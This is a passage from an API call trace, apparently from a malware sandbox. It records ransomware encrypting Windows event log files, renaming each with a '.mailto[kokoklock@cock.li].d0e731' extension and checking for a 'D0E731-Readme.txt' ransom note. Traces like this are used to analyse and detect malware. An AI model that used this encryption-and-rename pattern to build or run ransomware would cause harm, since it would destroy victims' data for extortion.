Flags=0x0, BaseAddress=0x347ce20) returned 1 [0063.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfb0) returned 1 [0063.170] CloseHandle (hObject=0x3bc) returned 1 [0063.172] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe8) returned 0x341a708 [0063.172] wcscpy (in: _Dest=0x341a708, _Source="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" [0063.172] wcscat (in: _Dest=0x341a708, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731" [0063.172] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0063.173] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0063.173] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a708) returned 1 [0063.174] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", dwFileAttributes=0x20) returned 0 [0063.174] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434668 [0063.174] wcscpy (in: _Dest=0x3434668, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0063.174] wcscat (in: _Dest=0x3434668, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0063.174] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0063.174] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434668) returned 1 [0063.174] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce718) returned 1 [0063.174] RtlExitUserThread (Status=0x1) Thread: id = 164 os_tid = 0x1108 [0063.175] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20 [0063.175] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0063.175] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0063.175] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x9e2fc5c | out: lpFileSize=0x9e2fc5c*=69632) returned 1 [0063.175] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.176] ReadFile (in: hFile=0x3bc, lpBuffer=0x9e2fc30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9e2fc2c, lpOverlapped=0x0 | out: lpBuffer=0x9e2fc30*, lpNumberOfBytesRead=0x9e2fc2c*=0x4, lpOverlapped=0x0) returned 1 [0063.177] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.177] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf38 [0063.177] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf88 [0063.177] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ce20 [0063.177] NtQuerySystemTime (in: CurrentTime=0x9e2fc08 | out: CurrentTime=0x9e2fc08*=132121176210652609) returned 0x0 [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x3a62c5ba [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x930e37e8 [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x75d80f41 [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x67edb65 [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0xec981bad [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x1b195159 [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x8d8aeda5 [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x66b55d33 [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x28830068 [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0xd6dffce2 [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0xd126af1b [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0xc8280292 [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x6ec78825 [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x6f623469 [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0xfaaac54f [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x2ff9d12c [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0xafc29a8d [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x9157a8f9 [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x94648b54 [0063.177] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x25f210ab [0063.178] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0xf6a89b62 [0063.178] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x7356e3b4 [0063.178] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x6ab33526 [0063.178] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x60921ee7 [0063.178] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0xed881535 [0063.178] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x8c80c26a [0063.178] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0xd2ad3f37 [0063.178] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0xfb19a3cc [0063.178] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x1df6d1ba [0063.178] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x917a2459 [0063.178] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0x57c38f8 [0063.178] RtlRandom (in: Seed=0x9e2fc14 | out: Seed=0x9e2fc14) returned 0xd12f6ac [0063.188] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ce48 [0063.189] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.189] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfb0 [0063.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf38) returned 1 [0063.190] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.190] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.190] ReadFile (in: hFile=0x3bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9e2fbe0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x9e2fbe0*=0x4096, lpOverlapped=0x0) returned 1 [0063.190] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.190] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda18 [0063.190] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.190] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf10 [0063.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf10) returned 1 [0063.191] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0063.191] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfd8 [0063.191] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cec0 [0063.191] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cec0) returned 1 [0063.191] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.191] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda18) returned 1 [0063.191] WriteFile (in: hFile=0x3bc, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9e2fbe0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x9e2fbe0*=0x4096, lpOverlapped=0x0) returned 1 [0063.191] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0063.191] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.191] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cfd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9e2fc18, lpOverlapped=0x0 | out: lpBuffer=0x347cfd8*, lpNumberOfBytesWritten=0x9e2fc18*=0x20, lpOverlapped=0x0) returned 1 [0063.192] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfd8) returned 1 [0063.192] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0063.192] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cfb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9e2fc2c, lpOverlapped=0x0 | out: lpBuffer=0x347cfb0*, lpNumberOfBytesWritten=0x9e2fc2c*=0x8, lpOverlapped=0x0) returned 1 [0063.192] WriteFile (in: hFile=0x3bc, lpBuffer=0x9e2fc44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9e2fc2c, lpOverlapped=0x0 | out: lpBuffer=0x9e2fc44*, lpNumberOfBytesWritten=0x9e2fc2c*=0x4, lpOverlapped=0x0) returned 1 [0063.192] WriteFile (in: hFile=0x3bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9e2fc2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x9e2fc2c*=0x4, lpOverlapped=0x0) returned 1 [0063.192] WriteFile (in: hFile=0x3bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9e2fc2c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x9e2fc2c*=0x6c, lpOverlapped=0x0) returned 1 [0063.192] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cf88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9e2fc2c, lpOverlapped=0x0 | out: lpBuffer=0x347cf88*, lpNumberOfBytesWritten=0x9e2fc2c*=0x20, lpOverlapped=0x0) returned 1 [0063.192] WriteFile (in: hFile=0x3bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9e2fc2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x9e2fc2c*=0x4, lpOverlapped=0x0) returned 1 [0063.192] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf88) returned 1 [0063.192] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ce48) returned 1 [0063.192] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfb0) returned 1 [0063.192] CloseHandle (hObject=0x3bc) returned 1 [0063.195] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x33e3818 [0063.195] wcscpy (in: _Dest=0x33e3818, _Source="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" [0063.195] wcscat (in: _Dest=0x33e3818, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0063.195] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0063.196] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0063.196] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3818) returned 1 [0063.196] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0063.196] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434668 [0063.196] wcscpy (in: _Dest=0x3434668, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0063.196] wcscat (in: _Dest=0x3434668, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0063.196] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0063.196] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434668) returned 1 [0063.197] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0063.197] RtlExitUserThread (Status=0x1) Thread: id = 165 os_tid = 0x110c [0063.198] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20 [0063.198] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0063.198] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0063.198] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x9eafbec | out: lpFileSize=0x9eafbec*=69632) returned 1 [0063.198] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.198] ReadFile (in: hFile=0x3bc, lpBuffer=0x9eafbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9eafbbc, lpOverlapped=0x0 | out: lpBuffer=0x9eafbc0*, lpNumberOfBytesRead=0x9eafbbc*=0x4, lpOverlapped=0x0) returned 1 [0063.199] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf60 [0063.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfb0 [0063.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ce48 [0063.200] NtQuerySystemTime (in: CurrentTime=0x9eafb98 | out: CurrentTime=0x9eafb98*=132121176210974134) returned 0x0 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0x827ace45 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0xd08cb71b [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0xc948be2 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0x1c8ecd65 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0x66507eb1 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0x8758a692 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0xf8f09bd2 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0xf1a790e [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0x5a220e0 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0x68910774 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0x57370a96 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0x24762de4 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0x24d3ffa9 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0xd5d67bf7 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0x7c20ba37 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0xa2af4bc1 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0xd28bd077 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0xcb0da9ab [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0x5b881c89 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0x2753ce65 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0xd0f24863 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0x925ad148 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0xeeaf6eb3 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0x3eb14e21 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0x41226def [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0x4287f04e [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0x45d6aa32 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0x97807d58 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0xd0a8c3c3 [0063.200] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0x910b6cb3 [0063.201] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0xc67a82f5 [0063.201] RtlRandom (in: Seed=0x9eafba4 | out: Seed=0x9eafba4) returned 0xd8c2c2d4 [0063.209] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ce70 [0063.211] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.211] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfd8 [0063.211] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.211] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf60) returned 1 [0063.211] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.211] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.212] ReadFile (in: hFile=0x3bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9eafb70, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x9eafb70*=0x4096, lpOverlapped=0x0) returned 1 [0063.212] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda18 [0063.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf38 [0063.212] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf38) returned 1 [0063.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0063.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0063.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cee8 [0063.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cee8) returned 1 [0063.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda18) returned 1 [0063.213] WriteFile (in: hFile=0x3bc, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9eafb70, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x9eafb70*=0x4096, lpOverlapped=0x0) returned 1 [0063.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0063.213] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.213] WriteFile (in: hFile=0x3bc, lpBuffer=0x347d000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9eafba8, lpOverlapped=0x0 | out: lpBuffer=0x347d000*, lpNumberOfBytesWritten=0x9eafba8*=0x20, lpOverlapped=0x0) returned 1 [0063.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0063.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0063.213] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cfd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9eafbbc, lpOverlapped=0x0 | out: lpBuffer=0x347cfd8*, lpNumberOfBytesWritten=0x9eafbbc*=0x8, lpOverlapped=0x0) returned 1 [0063.214] WriteFile (in: hFile=0x3bc, lpBuffer=0x9eafbd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9eafbbc, lpOverlapped=0x0 | out: lpBuffer=0x9eafbd4*, lpNumberOfBytesWritten=0x9eafbbc*=0x4, lpOverlapped=0x0) returned 1 [0063.214] WriteFile (in: hFile=0x3bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9eafbbc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x9eafbbc*=0x4, lpOverlapped=0x0) returned 1 [0063.214] WriteFile (in: hFile=0x3bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9eafbbc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x9eafbbc*=0x6c, lpOverlapped=0x0) returned 1 [0063.214] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cfb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9eafbbc, lpOverlapped=0x0 | out: lpBuffer=0x347cfb0*, lpNumberOfBytesWritten=0x9eafbbc*=0x20, lpOverlapped=0x0) returned 1 [0063.214] WriteFile (in: hFile=0x3bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9eafbbc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x9eafbbc*=0x4, lpOverlapped=0x0) returned 1 [0063.214] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfb0) returned 1 [0063.214] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ce70) returned 1 [0063.214] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfd8) returned 1 [0063.214] CloseHandle (hObject=0x3bc) returned 1 [0063.217] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd4) returned 0x347c390 [0063.217] wcscpy (in: _Dest=0x347c390, _Source="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" [0063.217] wcscat (in: _Dest=0x347c390, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0063.217] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0063.218] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 